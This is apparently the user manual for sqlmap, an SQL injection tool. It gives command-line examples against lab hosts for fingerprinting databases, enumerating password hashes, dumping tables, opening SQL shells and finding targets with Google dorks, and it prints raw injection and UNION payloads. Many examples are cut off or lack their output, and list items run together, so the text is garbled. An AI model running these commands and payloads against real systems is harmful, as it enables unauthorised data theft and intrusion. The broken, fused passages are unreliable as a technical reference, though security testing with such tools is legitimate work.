sqlmap is an open source command-line automatic SQL injection tool. Its goal is to detect and take advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user's specified DBMS tables/columns, run his own SQL statement, read or write either text or binary files on the file system, execute arbitrary commands on the operating system, establish an out-of-band stateful connection between the attacker box and the database server via Metasploit payload stager, database stored procedure buffer overflow exploitation or SMB relay attack and more.
sqlmap is developed in Python, a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system since it only requires the Python interpreter version equal or above to 2.5. The interpreter is freely downloadable from its official site. To make it even easier, many GNU/Linux distributions come out of the box with Python interpreter package installed and other Unices and MacOS X too provide it packaged in their formats and ready to be installed. Windows users can download and install the Python setup-ready installer for x86, AMD64 and Itanium too.
sqlmap relies on the Metasploit Framework for some of its post-exploitation takeover functionalities. You need to grab a copy of it from the download page. The required version is 3.2 or above.
Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline library to be able to take advantage of the sqlmap TAB completion and history support functionalities in the SQL shell and OS shell. Note that these functionalities are available natively by Python standard readline library on other operating systems. You can also choose to install Psyco library to speed up the sqlmap algorithmic operations.
Let's say that you are auditing a web application and found a web page
that accepts dynamic user-provided values on GET or POST
parameters or HTTP Cookie values or HTTP User-Agent
header value.
You now want to test if these are affected by a SQL injection
vulnerability, and if so, exploit them to retrieve as much information as
possible out of the web application's back-end database management system
or even be able to access the underlying operating system.
Consider that the target url is:
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1
Assume that:
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1
is the same page as the original one and:
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2
differs from the original one, it means that you are in front of a SQL
injection vulnerability in the id GET parameter of the
index.php web application page which means that no IDS/IPS, no
web application firewall, no parameters' value sanitization is performed
on the server-side.
This is a quite common flaw in dynamic content web applications and it does not depend upon the back-end database management system nor on the web application programming language: it is a programmer code's security flaw. The Open Web Application Security Project rated on 2007 in their OWASP Top Ten survey this vulnerability as the most common and important web application vulnerability, second only to Cross-Site Scripting.
Back to the scenario, probably the SQL SELECT statemenet into
get_int.php has a syntax similar to the following SQL query, in
pseudo PHP code:
$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];
As you can see, appending any other syntatically valid SQL condition after
a value for id such condition will take place when the web
application passes the query to the back-end database management system
that executes it, that is why the condition id=1 AND 1=1 is valid
(True) and returns the same page as the original one, with the
same content and without showing any SQL error message.
Moreover, in this simple and easy to inject scenario it would be also
possible to append, not just one or more valid SQL condition(s), but also
stacked SQL queries, for instance something like [...]&id=1;
ANOTHER SQL QUERY# if the web application technology supports
stacked queries, also known as multiple statements.
Now that you found this SQL injection vulnerable parameter, you can
exploit it by manipulating the id parameter value in the HTTP
request.
There exist many resources on the Net explaining in depth how to prevent, how to detect and how to exploit SQL injection vulnerabilities in web application and it is recommended to read them if you are not familiar with the issue before going ahead with sqlmap.
Passing the original address, http://192.168.1.121/sqlmap/mysql/get_int.php?id=1
to sqlmap, the tool will automatically:
id in this scenario);sqlmap implements three techniques to exploit a SQL injection vulnerability:
SELECT sub-statement, or any other SQL statement whose the user
want to retrieve the output.
For each HTTP response, by making a comparison based upon HTML page
content hashes, or string matches, with the original request, the tool
determines the output value of the statement character by character.
The bisection algorithm implemented in sqlmap to perform this technique
is able to fetch each output character with at maximum seven HTTP
requests.
This is sqlmap default SQL injection technique.UNION ALL SELECT. This techique is useful if the web
application page passes the output of the SELECT statement to a
for cycle, or similar, so that each line of the query output is
printed on the page content.
sqlmap is also able to exploit partial (single entry) UNION query SQL
injection vulnerabilities which occur when the output of the statement
is not cycled in a for construct whereas only the first entry output is
displayed.
This technique is much faster if the target url is affected by because
in a single HTTP response it returns the whole query output or a entry
per each response within the page content.
This SQL injection technique is an alternative to the first one.;) followed by the
SQL statement to be executed. This technique is useful to run SQL
statements other than SELECT like, for instance, data
definition or data manipulation statements possibly leading
to file system read and write access and operating system command
execution depending on the underlying back-end database management system
and the session user privileges.Major features implemented in sqlmap include:
conversations/ folder path or get the list of targets by providing
sqlmap with a Google dork which queries
Google search engine and
parses its results page.
SELECT statement syntax to
perform further injections with. It is also possible to specify the
parameter(s) that you want to perform tests and use for injection on.
Cookie header string support, useful when the
web application requires authentication based upon cookies and you have
such data or in case you just want to test for and exploit SQL injection
on such header.
Set-Cookie header from
target url, re-establishing of the session if it expires. Test and exploit
on these values is supported too.
Referer header value and
the HTTP User-Agent header value specified by user or
randomly selected from a text file.
magic_quotes_gpc bypass by encoding
every query string, between single quotes, with CHAR, or similar,
database management system function.
xp_cmdshell() stored procedure.

Option: -g
It is also possible to test and inject on GET parameters on the
results of your Google dork.
This option makes sqlmap negotiate with the search engine its session
cookie to be able to perform a search, then sqlmap will retrieve Google
first 100 results for the Google dork expression with GET parameters
asking you if you want to test and inject on each possible affected URL.
Example of Google dorking with expression site:yourdomain.com
ext:php:

Note that if you also provide other options from command line, those are evaluated when running sqlmap and overwrite the same options, if set, in the provided configuration file.
These options can be used to specify how to connect to the target url.
GET or POSTOptions: --method and --data
By default the HTTP method used to perform HTTP requests is GET,
but you can change it to POST and provide the data to be sent
through POST request. Such data, being those parameters, are
tested for SQL injection like the GET parameters.
Example on an Oracle XE 10.2.0.1 target:

This feature can be useful in two scenarios:
The steps to go through in the second scenario are the following:
Cookie value, then click on Copy to save its
value to the clipboard.Example on a Microsoft SQL Server 2000 Service Pack 0 target:

Note that the HTTP Cookie header values are separated by a
; character, not by an &.
If the web application at first HTTP response has within the HTTP headers
a Set-Cookie header, sqlmap will automatically use it in all HTTP
requests as the HTTP Cookie header and also test for SQL
injection on these values.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3

If you provide an HTTP Cookie header value and the target URL
sends an HTTP Set-Cookie header, sqlmap asks you which one to use
in the following HTTP requests.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" --cookie "id=1"
[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
values that you provided? [Y/n]
Referer headerOption: --referer
It is possible to fake the HTTP Referer header value with this
option. By default no HTTP Referer heder is sent in HTTP
requests.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer \

Providing a text file, ./txt/user-agents.txt or any other
file containing a list of at least one user agent, to the -a
option, sqlmap will randomly select a User-Agent from the file

Note that the HTTP User-Agent header is tested against SQL
injection also if you do not overwrite the default sqlmap HTTP
User-Agent header value.
Some sites perform a server-side check on the HTTP User-Agent
header value and fail the HTTP response if a valid User-Agent is
not provided, its value is not expected or its value is blocked by a web
application firewall or similar intrusion prevention system. In this case
sqlmap will show you a message as follows:
[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try
to force the HTTP User-Agent header with option --user-agent or -a
Option: --headers
It is possible to provide extra HTTP headers by providing --headers
options. Each header must be separated by a "\n" string and it's much easier
to provide them from the configuration INI file. Have a look at the sample
sqlmap.conf file.
Basic and Digest authenticationsOptions: --auth-type and --auth-cred
These options can be used to specify which HTTP authentication type the
web server implements and the valid credentials to be used to perfom all
HTTP requests to the target URL.
The two valid types are Basic and Digest and the
credentials' syntax is username:password.
Examples on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" \
--auth-type Basic --auth-cred "testuser:testpass" -v 3

Option: --proxy
It is possible to provide an anonymous HTTP proxy address to pass by the
HTTP requests to the target URL. The syntax of HTTP proxy value is
http://url:port.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
--proxy "http://192.168.1.47:3128"

[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
back-end DBMS: PostgreSQL
Instead of using a single anonymous HTTP proxy server to pass by, you can configure a Tor client together with Privoxy on your machine as explained on the Tor client guide then run sqlmap as follows:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
--proxy "http://192.168.1.47:8118"
Note that 8118 is the default Privoxy port, adapt it to your
settings.
Option: --threads
It is possible to specify the number of maximum concurrent HTTP requests that sqlmap can start when it uses the blind SQL injection technique to retrieve the query output. This feature relies on the multithreading concept and inherits both its pro and its cons.
Examples on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 \
--current-user --threads 3

As you can see, sqlmap first calculates the length of the query output, then starts three threads. Each thread is assigned to retrieve one character of the query output. The thread then ends after up to seven HTTP requests, the maximum requests to retrieve a query output character with the blind SQL injection bisection algorithm implemented in sqlmap.
Note that the multithreading option is not needed if the target is affected
by an inband SQL injection vulnerability and the --union-use
option has been provided.
Option: --delay
It is possible to specify a number of seconds to wait between each HTTP request. The valid value is a float, for instance 0.5 means half a second.
Option: --timeout
It is possible to specify a number of seconds to wait before considering the HTTP request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half.
Option: --retries
It is possible to specify the maximum number of retries when the HTTP connection timeouts. By default it retries up to three times.
These options can be used to specify which parameters to test for, provide custom injection payloads and how to parse and compare HTTP responses page content when using the blind SQL injection technique.
Option: -p
By default sqlmap tests all GET parameters, POST
parameters, HTTP Cookie header values and HTTP User-Agent
header value for dynamicity and SQL injection vulnerability, but it is
possible to manually specificy the parameter(s) you want sqlmap to perform
tests on comma separeted in order to skip dynamicity tests and perform SQL
injection test and inject directly only against the provided parameter(s).
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 \
-p "id"

will skip the fingerprint with an exception for MySQL to only identify if
it is MySQL < 5.0 or MySQL >= 5.0.
To avoid also this check you can provide instead MySQL 4 or
MySQL 5.
Example on a PostgreSQL 8.3.5 target:

In case you provide --fingerprint together with --dbms,
sqlmap will only perform the extensive fingerprint for the specified
database management system, read below for further details.
Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system. If you do not know it, let sqlmap automatically identify it for you.
Option: --os
By default sqlmap automatically detects the web application's back-end database manangement system underlying operating system when requested by any other functionality. At the moment the fully supported operating systems are two:
It is possible to force the operating system name if you already know it so that sqlmap will skip the fingerprint.
Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system underlying operating system. If you do not know it, let sqlmap automatically identify it for you.
Options: --prefix and --postfix
In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.
Example on a MySQL 5.0.67 target on a page where the SQL query is:
$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";:

[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
[...]
As you can see, the injection payload for testing for custom injection is:
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
which URL decoded is:
id=1') AND 7433=7433 AND ('test'='test
and makes the query syntatically correct to the page query:
SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1
In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.
Options: --string and --regexp
By default the distinction of a True query by a False one (basic concept for Inferential blind SQL injection attacks) is done comparing injected requests page content MD5 hash with the original not injected page content MD5 hash. Not always this concept works because sometimes the page content changes at each refresh even not injecting anything, for instance when the page has a counter, a dynamic advertisment banner or any other part of the HTML which is render dynamically and might change in time not only consequently to user's input. To bypass this limit, sqlmap makes it possible to manually provide a string which is always present on the not injected page and on all True injected query pages, but that it is not on the False ones. This can also be achieved by providing a regular expression. Such information is easy for an user to retrieve, simply try to inject on the affected URL parameter an invalid value and compare original (not injected) page content with the injected wrong page content to identify which string or regular expression match is on not injected and True page only. This way the distinction will be based upon string presence or regular expression match and not page MD5 hash comparison.
Example on a MySQL 5.0.67 target on a page which content changes
every second due to a call to PHP function time():
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \

[hh:mm:51] [ERROR] url is not stable, try with --string or --regexp options, refer to
the user's manual paragraph 'Page comparison' for details
As you can see, the string after Dynamic content changes its
value every second. In the example it is just a call to PHP
time() function, but on the real world it is usually much more
than that.
Looking at the HTTP responses page content you can see that the first five
lines of code do not change at all.
So choosing for instance the word luther as an output that is
on the not injected page content and it is not on the False page content
(because the query condition returns no output so luther is not
displayed on the page content) and passing it to sqlmap, you are able to
inject anyway.
Example on a MySQL 5.0.67 target on a page which content changes
every second due to a call to PHP function time():

As you can see, when one of these options is specified, sqlmap skips the URL stability test.
Consider one of these options a must when you are dealing with a page which content that changes itself at each refresh without modifying the user's input.
Options: --excl-str and --excl-reg
Another way to get around the dynamicity issue above explained is to exclude the dynamic part from the page content before processing it.
As you see in the above example the number after Dynamic content:
was dynamic and changed each second. To get around of this problem we could
use the above explained page comparison options or exclude this snippet of
dynamic text from the page before processing it and comparing it with the
not injected page.
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \

As you can see, when this options is specified, sqlmap skips the URL stability test.
Option: --stacked-test
It is possible to test if the web application technology supports stacked queries, multiple statements, on the injectable parameter.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
--stacked-test -v 1

By default PHP builtin function mysql_query() does not support
multiple statements.
Multiple statements is a feature supported by default only by some
web application technologies in relation to the back-end database
management system. For instance, as you can see from the next example,
where PHP does not support them on MySQL, it does on PostgreSQL.
Example on a PostgreSQL 8.3.5 target:

It is possible to test if the target URL is affected by a time based blind SQL injection vulnerability.
Example on a MySQL 5.0.67 target:

It is also possible to set the seconds to delay the response by providing
the --time-sec option followed by an integer. By default it delays
five seconds.
Options: --union-test and --union-tech
It is possible to test if the target URL is affected by a UNION query (inband) SQL injection vulnerability. Refer to the Techniques section for details on this SQL injection technique.
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \
--union-test -v 1
[...]
back-end DBMS: Oracle
[hh:mm:27] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing

valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
NULL, NULL, NULL FROM DUAL-- AND 6558=6558'
By default sqlmap uses the NULL bruteforcing technique to
detect the number of columns within the original SELECT statement.
It is also possible to change it to ORDER BY clause
bruteforcing with the --union-tech option.
Further details on these techniques can be found here.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" \

valid union: 'http://192.168.1.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND
1262=1262'
As you can see, the target URL parameter id might be also
exploitable by the inband SQL injection technique.
In case a case it is strongly recommended to use this technique which saves
a lot of time.
It is strongly recommended to run at least once sqlmap with the
--union-test option to test if the affected parameter is used
within a for cycle, or similar, and in case use
--union-use option to exploit this vulnerability because it
saves a lot of time and it does not weight down the web server log file
with hundreds of HTTP requests.
Option: --union-use
Providing the --union-use parameter, sqlmap will first test if
the target URL is affected by an inband SQL injection
(--union-test) vulnerability then, in case it seems to be
vulnerable, it will confirm that the parameter is affected by a Full
UNION query SQL injection and use this technique to go ahead with the
exploiting.
If the confirmation fails, it will check if the parameter is affected by
a Partial UNION query SQL injection, then use it to go ahead if it
is vulnerable.
In case the inband SQL injection vulnerability is not exploitable, sqlmap
will automatically fallback on the blind SQL injection technique to go
ahead.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:

output is nested, inband, within the HTTP response page, this makes the
inband SQL injection exploited.

As you can see, sqlmap identified that the parameter is affected by a
partial inband SQL injection, consequently counted the number of query
output entries and retrieved once per time by forcing the parameter
(id) value 1 to its negative value -1 so that
it does not returns, presumibly, any output leaving our own UNION ALL
SELECT statement to produce one entry at a time and display it in the
page content.
Options: -f or --fingerprint
By default the web application's back-end database management system fingerprint is performed requesting a database specific function which returns a known static value. By comparing these value with the returned value it is possible to identify if the back-end database is effectively the one that sqlmap expected. Depending on the DBMS being tested, a SQL dialect syntax which is syntatically correct depending upon the back-end DBMS is also tested.
After identifying an injectable vector, sqlmap fingerprints the back-end database management system and go ahead with the injection with its specific syntax within the limits of the database architecture.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1
[...]

As you can see, sqlmap automatically fingerprints the web server operating system and the web application technology by parsing some HTTP response headers.
If you want to perform an extensive database management system fingerprint
based on various techniques like specific SQL dialects and inband error
messages, you can provide the --fingerprint option.

As you can see, from the Microsoft SQL Server banner, sqlmap was able to correctly identify the database management system patch level. The Microsoft SQL Server XML versions file is the result of a sqlmap parsing library that fetches data from Chip Andrews' SQLSecurity.com site and outputs it to the XML versions file.
Option: -b or --banner
Most of the modern database management systems have a function or an
environment variable which returns details on the database managemet
system version. Sometimes also the operating system where the daemon has
been compiled on, the operating system architecture, its service pack.
Usually this function is version() or the @@version
environment variable.
Example on a MySQL 5.0.67 target:

As you can see, when you enumerate password hashes on Microsoft SQL Server sqlmap split the hash, useful if you want to crack it.
If you provide CU as username it will consider it as an alias for
current user and will retrieve the password hashes for this user.

If you provide CU as username it will consider it as an alias for
current user and will enumerate the privileges for this user.

$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tables -v 0
Database: test

You can also provide the -D option to specify the database
that you want to enumerate the tables.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tables \
-D test -v 0
Database: test
[1 table]
+---------------------------------------+
| users |
+---------------------------------------+
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --tables \
-D users -v 0
Database: USERS
[8 tables]
+-------------------+
| DEPARTMENTS |
| EMPLOYEES |
| HTMLDB_PLAN_TABLE |
| JOB_HISTORY |
| JOBS |
| LOCATIONS |
| REGIONS |
| USERS |
+-------------------+
Note that on Oracle you have to provide the TABLESPACE_NAME
instead of the database name, in my example that is users to
retrieve all tables owned by an Oracle database management system
user.
Options: --columns, -T and -D
It is possible to enumerate the list of columns for a specific database
table.
This functionality depends on the -T to specify the table name
and optionally on -D to specify the database name.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns \
-T users -D test -v 1

You can also provide the -C option to specify the table column
that you want to enumerate the entries.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:

sqlmap also stores for each table the dumped entries in a CSV format file. You can see the absolute path where it stored the dumped tables entries by providing a verbosity level greater than or equal to 1.
Example on a PostgreSQL 8.3.5 target:

You can also provide the --start and/or the --stop
options to limit the dump to a range of entries.
--start specifies the first entry to enumerate--stop specifies the last entry to enumerateExample on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \

As you can see, sqlmap is very flexible: you can leave it automatically enumerate the whole database table up to a single column of a specific table entry.
Options: --dump-all and --exclude-sysdbs
It is possible to dump all databases tables entries at once.

Note that on Microsoft SQL Server the master database is not
considered a system database because some database administrators use it
as a users' database.
Options: --sql-query and --sql-shell
The SQL query and the SQL shell features makes the user able to run
custom SQL statement on the web application's back-end database management.
sqlmap automatically recognize the type of SQL statement provided and
choose which SQL injection technique to use to execute it: if it is a
SELECT statement it will retrieve its output through the blind SQL
injection or UNION query SQL injection technique depending on the user's
options, otherwise it will execute the query through the stacked query
SQL injection technique if the web application supports multiple
statements on the back-end database management system.
Examples on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \

[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [INFO] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'
As you can see from this last example, sqlmap splits the query in two
different SELECT statement to be able to retrieve the output even
when using the blind SQL injection technique.
Otherwise in UNION query SQL injection technique it only performs a single
HTTP request to get the user's query output:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \

[hh:mm:03] [INFO] performed 3 queries in 0 seconds
SELECT 'foo', 'bar' [1]:
[*] foo, bar
If your SELECT statement contains a FROM clause, sqlmap
asks the user if such statement can return multiple entries and in such
case the tool knows how to unpack the query correctly to retrieve its
whole output entry per entry when going through blind SQL injection
technique. Through UNION query SQL injection it retrieved the whole output
in a single response.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query \
"SELECT usename FROM pg_user" -v 0
[hh:mm:32] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
[hh:mm:37] [INPUT] the SQL query provided can return up to 3 entries. How many entries
do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice: 2
SELECT usename FROM pg_user [2]:
[*] postgres
[*] testuser
As you can see from the last example, sqlmap counted the number of entries
for your query and asks how many entries you want to dump.
Otherwise if you specify also the LIMIT, or similar, clause
sqlmap will not ask anything, it just unpacks the query and return its
output entry per entry when going through blind SQL injection technique.
Through UNION query SQL injection it retrieved the whole output in a
single response.

back-end database management system in sqlmap XML queries file, but you
can run whatever SELECT statement that you want.

As you can see in this last example, if the SELECT statement has
an asterisk instead of the column(s) name, sqlmap first retrieves the
column names of the table then asks if the query can return multiple
entries and goes on.
Example of SQL statement other than SELECT on a PostgreSQL
8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 1

[10:12:53] [INFO] retrieved: 5
[10:12:54] [INFO] performed 20 queries in 0 seconds
SELECT COUNT(name) FROM users: '5'
As you can see from this last example, when the user provides a SQL
statement other than SELECT, sqlmap recognizes it, tests if the
web application supports stacked queries and in case it does, it executes
the provided SQL statement in a multiple statement.
Beware that some web application technologies do not support stacked queries on specific database management systems. For instance, PHP does not support stacked queries when the back-end DBMS is MySQL, but it does support when the back-end DBMS is PostgreSQL.

As you can see, sqlmap first check if a new stable version is available, then in case it is, download it, unzip it and update the Microsoft SQL Server XML versions file from Chip Andrews' SQLSecurity.com site.
Note that the default configuration file sqlmap.conf is backupped
to sqlmap.conf.bak in case a new stable version is available and
your copy is updated.
Option: -s
It is possible to log all queries and their output on a text file while performing whatever request, both in blind SQL injection and in inband SQL injection. This is useful if you stop the injection and resume it after some time.

As you can see, all queries performed and their output have been logged to the session file in real time while performing the injection.
The session file has a structure as follows:

Performing the same request now, sqlmap resumes all information already
retrieved then calculates the query length, in the example
VERSION(), and resumes the injection from the last character
retrieved to the end of the query output.
